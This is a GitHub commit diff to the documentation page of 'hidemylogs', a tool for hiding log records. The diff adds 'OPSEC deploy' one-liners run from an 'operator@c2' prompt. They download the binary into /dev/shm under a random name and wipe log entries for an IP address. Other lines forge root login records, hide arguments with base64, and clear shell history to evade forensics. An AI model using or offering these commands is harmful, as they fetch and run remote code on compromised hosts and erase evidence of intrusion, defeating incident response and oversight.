Skip to content

Commit e53d8b9

Browse files
committed
Add two OPSEC deploy modes: interactive + base64 one-shot
1 parent cdbb713 commit e53d8b9

1 file changed

Lines changed: 19 additions & 6 deletions

File tree

docs/index.html

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -238,17 +238,30 @@
238238
<div class="section-head">deploy - opsec one-liner</div>
239239
<div class="term">
240240
<div class="term-bar"><span class="term-dot r"></span><span class="term-dot y"></span><span class="term-dot g"></span><span class="term-title">operator@c2 - deploy</span></div>
241-
<div class="term-body"><span class="out"># Deploy to tmpfs with random name (prefix space = not in bash_history)</span>
242-
<span class="prompt">$ </span><span class="cmd" id="oneliner"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;echo "[+] Ready: /dev/shm/$f"</span>
241+
<div class="term-body"><span class="out"># === Option 1: Deploy binary, use interactively, cleanup when done ===</span>
243242

244-
<span class="out"># Use</span>
245-
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f print</span>
246-
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 --dry-run</span>
247-
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34</span>
243+
<span class="out"># Deploy to tmpfs with random name</span>
244+
<span class="prompt">$ </span><span class="cmd" id="oneliner"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;echo "[+] /dev/shm/$f"</span>
245+
246+
<span class="out"># Operate</span>
247+
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f -q print -s wl</span>
248+
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 -t 03:00-04:00 --and --dry-run</span>
249+
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 -t 03:00-04:00 --and</span>
250+
<span class="prompt">$ </span><span class="cmd">/dev/shm/$f forge --uid 0 -t "2026-03-15 09:30:00" --host 10.0.1.50</span>
248251

249252
<span class="out"># Cleanup</span>
250253
<span class="prompt">$ </span><span class="cmd"> rm -f /dev/shm/$f;unset f;history -c</span>
251254

255+
256+
<span class="out"># === Option 2: One-shot encoded command (no readable args in history) ===</span>
257+
258+
<span class="out"># Encode your command in base64 to hide args from shoulder surfing / history</span>
259+
<span class="prompt">$ </span><span class="cmd">echo 'wipe -a 185.220.101.34 -s uwb' | base64</span>
260+
<span class="out">d2lwZSAtYSAxODUuMjIwLjEwMS4zNCAtcyB1d2I=</span>
261+
262+
<span class="out"># Execute: download, decode args, run, cleanup - single line</span>
263+
<span class="prompt">$ </span><span class="cmd"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f $(echo d2lwZSAtYSAxODUuMjIwLjEwMS4zNCAtcyB1d2I=|base64 -d);rm -f /dev/shm/$f;unset f;history -c</span>
264+
252265
<span class="out"># What this does:</span>
253266
<span class="out"># 1. Generate random 12-char hex name</span>
254267
<span class="out"># 2. Download musl binary to /dev/shm (tmpfs, not on disk)</span>

0 commit comments

Comments
 (0)